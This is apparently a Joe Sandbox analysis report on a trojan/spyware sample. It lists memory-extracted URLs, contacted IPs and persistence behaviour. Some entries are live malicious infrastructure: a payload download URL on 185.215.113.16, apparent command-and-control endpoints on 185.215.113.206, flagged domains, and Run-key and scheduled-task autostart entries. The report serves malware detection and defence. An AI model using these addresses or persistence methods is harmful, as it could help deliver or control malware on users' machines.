https://issuetracker.google.com/161903006	chrome.exe, 0000002E.00000003.3053590180.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058477229.00003EDC00434000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058376802.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3303809638.00003EDC00BC0000.00000004.00000800.00020000.00000000.sdmp	false
http://win.mail.ru/cgi-bin/sentmsg?mailto=%s	firefox.exe, 0000002A.00000002.3257961922.000002048A032000.00000004.00000800.00020000.00000000.sdmp	false
https://www.ecosia.org/newtab/	file.exe, 00000000.00000002.2414963781.0000000000E0D000.00000004.00000020.00020000.00000000.sdmp, 067286f766.exe, 0000001A.00000003.2886214841.00000000052D6000.00000004.00000800.00020000.00000000.sdmp, 067286f766.exe, 0000001A.00000003.2885865990.00000000052D9000.00000004.00000800.00020000.00000000.sdmp, 067286f766.exe, 0000001A.00000003.2885970862.00000000052D6000.00000004.00000800.00020000.00000000.sdmp, 067286f766.exe, 0000002B.00000003.3046319737.0000000005C2A000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3311818035.00003EDC00C34000.00000004.00000800.00020000.00000000.sdmp	false
https://MD8.mozilla.org/1/m	firefox.exe, 0000002A.00000002.3301081919.000002048AF35000.00000004.00000800.00020000.00000000.sdmp	false
https://myaccount.google.com/data-and-privacy?utm_source=ga-chrome-actions&utm_medium=managePrivacy	chrome.exe, 0000002E.00000002.3268625116.00003EDC006E4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3264785291.00003EDC0042C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3297103874.00003EDC00914000.00000004.00000800.00020000.00000000.sdmp	false
https://www.bbc.co.uk/	firefox.exe, 0000002A.00000003.3080701204.000002048BC94000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.3105315724.000002048BC94000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3241492483.0000020487E7B000.00000004.00000800.00020000.00000000.sdmp	false
https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=	firefox.exe, 0000002A.00000002.3262149073.000002048A190000.00000004.00000800.00020000.00000000.sdmp	false
https://bugzilla.mo	firefox.exe, 0000002A.00000003.3079366050.000002048BDB0000.00000004.00000800.00020000.00000000.sdmp	false
https://mitmdetection.services.mozilla.com/	firefox.exe, 0000002A.00000002.3242928608.0000020488380000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002C.00000002.3185055851.0000027884020000.00000002.10000000.00040000.00000000.sdmp	false
http://anglebug.com/4722	chrome.exe, 0000002E.00000003.3053590180.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058477229.00003EDC00434000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3302109929.00003EDC00AF0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058376802.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp	false
https://static.adsafeprotected.com/firefox-etp-js	firefox.exe, 0000002A.00000003.3162912536.000002048C68E000.00000004.00000800.00020000.00000000.sdmp	false
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	file.exe, 00000000.00000002.2455677277.0000000023601000.00000004.00000020.00020000.00000000.sdmp, 067286f766.exe, 067286f766.exe, 0000001A.00000003.2942421281.0000000000C2E000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3262149073.000002048A103000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3262149073.000002048A190000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3186536382.00000278842CB000.00000004.00000800.00020000.00000000.sdmp	false
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	file.exe, 00000000.00000002.2455677277.0000000023601000.00000004.00000020.00020000.00000000.sdmp, 067286f766.exe, 0000001A.00000003.2942421281.0000000000C2E000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3262149073.000002048A103000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3262149073.000002048A190000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3186536382.00000278842CB000.00000004.00000800.00020000.00000000.sdmp	false
http://185.215.113.16/off/def.exe	067286f766.exe, 0000001A.00000003.3160797227.0000000000C51000.00000004.00000020.00020000.00000000.sdmp	false
https://spocs.getpocket.com/	firefox.exe, 0000002A.00000002.3245540003.0000020489AB9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3245540003.0000020489A60000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3262149073.000002048A190000.00000004.00000800.00020000.00000000.sdmp	false
https://services.addons.mozilla.org/api/v4/abuse/report/addon/	firefox.exe, 0000002A.00000002.3242928608.0000020488380000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002C.00000002.3185055851.0000027884020000.00000002.10000000.00040000.00000000.sdmp	false
https://services.addons.mozilla.org/api/v4/addons/search/?guid=%IDS%&lang=%LOCALE%	firefox.exe, 0000002A.00000002.3242928608.0000020488380000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002C.00000002.3185055851.0000027884020000.00000002.10000000.00040000.00000000.sdmp	false
http://185.215.113.206s	file.exe, 00000000.00000002.2414963781.0000000000D9E000.00000004.00000020.00020000.00000000.sdmp	false
https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f	firefox.exe, 0000002A.00000002.3242928608.0000020488380000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002C.00000002.3185055851.0000027884020000.00000002.10000000.00040000.00000000.sdmp	false
https://www.iqiyi.com/	firefox.exe, 0000002A.00000003.3080701204.000002048BC94000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.3105315724.000002048BC94000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.3108195312.00000204924A7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3241492483.0000020487E7B000.00000004.00000800.00020000.00000000.sdmp	false
http://html4/loose.dtd	ae2b9dbc74.exe, 00000018.00000003.2790664466.00000000071D2000.00000004.00001000.00020000.00000000.sdmp	false
https://monitor.firefox.com/user/breach-stats?includeResolved=true	firefox.exe, 0000002A.00000002.3242928608.0000020488380000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002C.00000002.3185055851.0000027884020000.00000002.10000000.00040000.00000000.sdmp	false
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report	firefox.exe, 0000002A.00000002.3242928608.0000020488380000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002C.00000002.3185055851.0000027884020000.00000002.10000000.00040000.00000000.sdmp	false
http://anglebug.com/3502	chrome.exe, 0000002E.00000003.3053590180.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058477229.00003EDC00434000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3302109929.00003EDC00AF0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058376802.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp	false
http://anglebug.com/3623	chrome.exe, 0000002E.00000003.3053590180.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058477229.00003EDC00434000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058376802.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp	false
http://185.215.113.206/c4becf79229cb002.phpd	fd9f6e129b.exe, 0000001B.00000002.2945693748.000000000149E000.00000004.00000020.00020000.00000000.sdmp	false
http://anglebug.com/3625	chrome.exe, 0000002E.00000003.3053590180.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058477229.00003EDC00434000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058376802.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp	false
https://bugzilla.mozilla.org/show_bug.cgi?id=1584464	firefox.exe, 0000002A.00000002.3243738167.00000204897F7000.00000004.00000800.00020000.00000000.sdmp	false
http://anglebug.com/3624	chrome.exe, 0000002E.00000003.3053590180.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058477229.00003EDC00434000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058376802.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp	false
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	firefox.exe, 0000002C.00000002.3186536382.00000278842CB000.00000004.00000800.00020000.00000000.sdmp	false
http://anglebug.com/3862	chrome.exe, 0000002E.00000003.3053590180.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058477229.00003EDC00434000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3302109929.00003EDC00AF0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058376802.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp	false
http://anglebug.com/4836	chrome.exe, 0000002E.00000003.3053590180.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058477229.00003EDC00434000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3302109929.00003EDC00AF0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058376802.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp	false
https://issuetracker.google.com/issues/166475273	chrome.exe, 0000002E.00000003.3053590180.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058477229.00003EDC00434000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3302316894.00003EDC00B10000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058376802.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp	false
http://185.215.113.206/c4becf79229cb002.phps	fd9f6e129b.exe, 0000001B.00000002.2945693748.000000000149E000.00000004.00000020.00020000.00000000.sdmp	false
https://monitor.firefox.com/about	firefox.exe, 0000002A.00000002.3242928608.0000020488380000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002C.00000002.3185055851.0000027884020000.00000002.10000000.00040000.00000000.sdmp	false
http://185.215.113.206/c4becf79229cb002.phpy	fd9f6e129b.exe, 0000001B.00000002.2945693748.000000000143E000.00000004.00000020.00020000.00000000.sdmp	false
https://developer.mozilla.org/docs/Web/API/Push_API/Using_the_Push_API#Encryptiondocument.requestSto	firefox.exe, 0000002A.00000002.3252553781.0000020489F40000.00000002.08000000.00040000.00000000.sdmp	false
https://www.zhihu.com/	firefox.exe, 0000002A.00000003.3080701204.000002048BC94000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.3097323108.000002049253C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.3105315724.000002048BC94000.00000004.00000800.00020000.00000000.sdmp	false
http://x1.c.lencr.org/0	067286f766.exe, 0000001A.00000003.2928082142.00000000052C9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.3097323108.000002049257F000.00000004.00000800.00020000.00000000.sdmp, 067286f766.exe, 0000002B.00000003.3096443119.0000000005C8E000.00000004.00000800.00020000.00000000.sdmp	false
http://x1.i.lencr.org/0	067286f766.exe, 0000001A.00000003.2928082142.00000000052C9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.3097323108.000002049257F000.00000004.00000800.00020000.00000000.sdmp, 067286f766.exe, 0000002B.00000003.3096443119.0000000005C8E000.00000004.00000800.00020000.00000000.sdmp	false
http://anglebug.com/3970	chrome.exe, 0000002E.00000003.3053590180.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058477229.00003EDC00434000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3302109929.00003EDC00AF0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058376802.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp	false
https://support.mozilla.org/products/firefoxgro.all	067286f766.exe, 0000002B.00000003.3101825141.0000000005D13000.00000004.00000800.00020000.00000000.sdmp	false
http://.jpg	ae2b9dbc74.exe, 00000018.00000003.2790664466.00000000071D2000.00000004.00001000.00020000.00000000.sdmp	false
https://mail.yahoo.co.jp/compose/?To=%s	firefox.exe, 0000002A.00000002.3257961922.000002048A032000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3263843993.000002048A273000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3262149073.000002048A1C6000.00000004.00000800.00020000.00000000.sdmp	false
https://contile.services.mozilla.com/v1/tiles	firefox.exe, 0000002A.00000002.3245540003.0000020489AA5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3185055851.0000027884020000.00000002.10000000.00040000.00000000.sdmp	false
https://www.amazon.co.uk/	firefox.exe, 0000002A.00000003.3080701204.000002048BC94000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.3105315724.000002048BC94000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.3108195312.00000204924A7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3241492483.0000020487E7B000.00000004.00000800.00020000.00000000.sdmp	false
http://anglebug.com/5901	chrome.exe, 0000002E.00000003.3053590180.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058477229.00003EDC00434000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3302109929.00003EDC00AF0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058376802.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp	false
https://monitor.firefox.com/user/preferences	firefox.exe, 0000002A.00000002.3242928608.0000020488380000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002C.00000002.3185055851.0000027884020000.00000002.10000000.00040000.00000000.sdmp	false
https://screenshots.firefox.com/	firefox.exe, 0000002A.00000003.3002071042.000002048A600000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3265765041.000002048A603000.00000004.00000800.00020000.00000000.sdmp	false
http://anglebug.com/3965	chrome.exe, 0000002E.00000003.3053590180.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058477229.00003EDC00434000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3302109929.00003EDC00AF0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058376802.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp	false
https://anglebug.com/7161	chrome.exe, 0000002E.00000003.3053590180.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058477229.00003EDC00434000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3302109929.00003EDC00AF0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058376802.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp	false
https://gpuweb.github.io/gpuweb/	firefox.exe, 0000002A.00000002.3243738167.00000204897F7000.00000004.00000800.00020000.00000000.sdmp	false
https://anglebug.com/7162	chrome.exe, 0000002E.00000003.3053590180.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058477229.00003EDC00434000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3302109929.00003EDC00AF0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058376802.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp	false
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/tracking-content-report	firefox.exe, 0000002A.00000002.3242928608.0000020488380000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002C.00000002.3185055851.0000027884020000.00000002.10000000.00040000.00000000.sdmp	false
http://anglebug.com/5906	chrome.exe, 0000002E.00000003.3053590180.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058477229.00003EDC00434000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3302109929.00003EDC00AF0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058376802.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp	false
https://www.wykop.pl/	firefox.exe, 0000002A.00000003.3080701204.000002048BC94000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.3075699981.00000204928EB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.3105315724.000002048BC94000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.3087950329.00000204928ED000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.3111086766.00000204928EB000.00000004.00000800.00020000.00000000.sdmp	false
http://anglebug.com/2517	chrome.exe, 0000002E.00000003.3053590180.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058477229.00003EDC00434000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3302109929.00003EDC00AF0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058376802.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp	false
http://anglebug.com/4937	chrome.exe, 0000002E.00000003.3053590180.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058477229.00003EDC00434000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3302109929.00003EDC00AF0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058376802.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp	false
https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsingTrying	firefox.exe, 0000002A.00000002.3252553781.0000020489F40000.00000002.08000000.00040000.00000000.sdmp	false
https://issuetracker.google.com/166809097	chrome.exe, 0000002E.00000003.3053590180.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058477229.00003EDC00434000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058376802.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3303809638.00003EDC00BC0000.00000004.00000800.00020000.00000000.sdmp	false
https://www.olx.pl/	firefox.exe, 0000002A.00000003.3080701204.000002048BC94000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.3097323108.000002049253C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.3075699981.00000204928EB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.3105315724.000002048BC94000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.3087950329.00000204928ED000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.3111086766.00000204928EB000.00000004.00000800.00020000.00000000.sdmp	false
https://xhr.spec.whatwg.org/#sync-warningThe	firefox.exe, 0000002A.00000002.3252553781.0000020489F40000.00000002.08000000.00040000.00000000.sdmp	false
https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-4	firefox.exe, 0000002A.00000002.3252553781.0000020489F40000.00000002.08000000.00040000.00000000.sdmp	false
https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-2	firefox.exe, 0000002A.00000002.3252553781.0000020489F40000.00000002.08000000.00040000.00000000.sdmp	false

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
142.250.186.68	www.google.com	United States	15169	GOOGLEUS	false
184.28.190.32	unknown	United States	20940	AKAMAI-ASN1EU	false
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
13.107.246.40	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.219.82.75	unknown	United States	20940	AKAMAI-ASN1EU	false
108.139.47.50	unknown	United States	16509	AMAZON-02US	false
162.159.61.3	chrome.cloudflare-dns.com	United States	13335	CLOUDFLARENETUS	false
20.110.205.119	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.44.201.25	unknown	United States	20940	AKAMAI-ASN1EU	false
142.250.184.228	unknown	United States	15169	GOOGLEUS	false
23.44.201.20	unknown	United States	20940	AKAMAI-ASN1EU	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
239.255.255.250	unknown	Reserved	unknown	unknown	false
52.138.229.66	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
104.117.182.56	unknown	United States	20940	AKAMAI-ASN1EU	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
20.75.60.91	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
142.250.184.238	youtube.com	United States	15169	GOOGLEUS	false
34.160.144.191	prod.content-signature-chains.prod.webservices.mozgcp.net	United States	2686	ATGS-MMD-ASUS	false
142.250.185.78	play.google.com	United States	15169	GOOGLEUS	false
152.195.19.97	unknown	United States	15133	EDGECASTUS	false
216.58.206.33	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false
34.117.188.166	contile.services.mozilla.com	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
52.159.108.190	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
216.58.212.174	plus.l.google.com	United States	15169	GOOGLEUS	false
204.79.197.219	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
18.245.60.53	sb.scorecardresearch.com	United States	16509	AMAZON-02US	false
172.64.41.3	unknown	United States	13335	CLOUDFLARENETUS	false
31.41.244.11	unknown	Russian Federation	61974	AEROEXPRESS-ASRU	false
94.245.104.56	ssl.bingadsedgeextension-prod-europe.azurewebsites.net	United Kingdom	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
34.107.221.82	prod.detectportal.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false
35.244.181.201	prod.balrog.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false
188.114.96.3	cook-rain.sbs	European Union	13335	CLOUDFLARENETUS	true
34.116.198.130	home.fvtekk5pn.top	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	true
35.190.72.216	prod.classify-client.prod.webservices.mozgcp.net	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.5
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1559126
Start date and time:	2024-11-20 08:08:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 20m 28s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	51
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@138/305@99/37
EGA Information:	Successful, ratio: 20%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Max analysis timeout: 600s exceeded, the analysis took too long
Exclude process from analysis (whitelisted): dllhost.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.185.67, 142.250.186.78, 142.251.168.84, 34.104.35.123, 172.217.18.3, 172.217.16.138, 142.250.184.202, 216.58.206.42, 142.250.186.106, 216.58.206.74, 142.250.184.234, 142.250.186.138, 142.250.185.106, 142.250.181.234, 142.250.186.74, 142.250.186.170, 172.217.18.10, 172.217.16.202, 216.58.212.138, 142.250.186.42, 142.250.185.74, 142.250.185.138, 172.217.18.106, 142.250.185.170, 142.250.185.234, 142.250.185.202, 13.107.42.16, 204.79.197.203, 13.107.21.239, 204.79.197.239, 216.58.212.142, 13.107.6.158, 2.22.242.105, 2.22.242.89, 48.209.162.134, 2.18.64.205, 2.18.64.203, 2.23.209.27, 2.23.209.31, 2.23.209.23, 2.23.209.25, 2.23.209.29, 2.23.209.24, 2.23.209.30, 2.23.209.28, 2.23.209.21, 2.23.209.130, 2.23.209.193, 2.23.209.187, 2.23.209.183, 2.23.209.185, 2.23.209.186, 2.23.209.181, 2.23.209.182, 2.23.209.189, 2.23.209.140, 2.23.209.141, 2.23.209.144, 2.23.209.143, 2.23.209.149, 2.23.209.151, 2.23.209.150, 2.23.209.148, 2.23.209.142, 13.74.129.1, 204.79.197.237, 13.
Excluded domains from analysis (whitelisted): img-s-msn-com.akamaized.net, data-edge.smartscreen.microsoft.com, clientservices.googleapis.com, aus5.mozilla.org, star.sf.tlu.dl.delivery.mp.microsoft.com.delivery.microsoft.com, a19.dscg10.akamai.net, clients2.google.com, e86303.dscx.akamaiedge.net, config-edge-skype.l-0007.l-msedge.net, star-azurefd-prod.trafficmanager.net, firefox.settings.services.mozilla.com, learn.microsoft.com.edgekey.net, www.youtube.com, normandy-cdn.services.mozilla.com, www.bing.com, shavar.prod.mozaws.net, bingadsedgeextension-prod.trafficmanager.net, c-bing-com.dual-a-0034.a-msedge.net, prod-atm-wds-edge.trafficmanager.net, dyna.wikimedia.org, normandy.cdn.mozilla.net, wildcardtlu-ssl.azureedge.net, youtube-ui.l.google.com, reddit.map.fastly.net, edgedl.me.gvt1.com, c.bing.com, clients.l.google.com, www.reddit.com, go.microsoft.com, www.bing.com.edgekey.net, push.services.mozilla.com, safebrowsing.googleapis.com, optimizationguide-pa.googleapis.com, twitter.com, accounts.google.com,
Execution Graph export aborted for target 067286f766.exe, PID 8068 because there are no executed function
Execution Graph export aborted for target DocumentsHCFCAAEBGC.exe, PID 9160 because it is empty
Execution Graph export aborted for target skotes.exe, PID 8484 because there are no executed function
Execution Graph export aborted for target skotes.exe, PID 8584 because there are no executed function
HTTP sessions have been limited to 150. Please view the PCAPs for the complete data.
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteFile calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
02:09:28	API Interceptor	21x Sleep call for process: file.exe modified
02:10:01	API Interceptor	18362920x Sleep call for process: skotes.exe modified
02:10:20	API Interceptor	182x Sleep call for process: 067286f766.exe modified
02:10:42	API Interceptor	407624x Sleep call for process: ae2b9dbc74.exe modified
08:09:35	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
08:10:22	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 067286f766.exe C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe
08:10:31	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run fd9f6e129b.exe C:\Users\user\AppData\Local\Temp\1007605001\fd9f6e129b.exe
08:10:40	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 92cf6f64c8.exe C:\Users\user\AppData\Local\Temp\1007606001\92cf6f64c8.exe
08:10:48	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 8416d1ef13.exe C:\Users\user\AppData\Local\Temp\1007607001\8416d1ef13.exe
08:10:57	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 067286f766.exe C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe
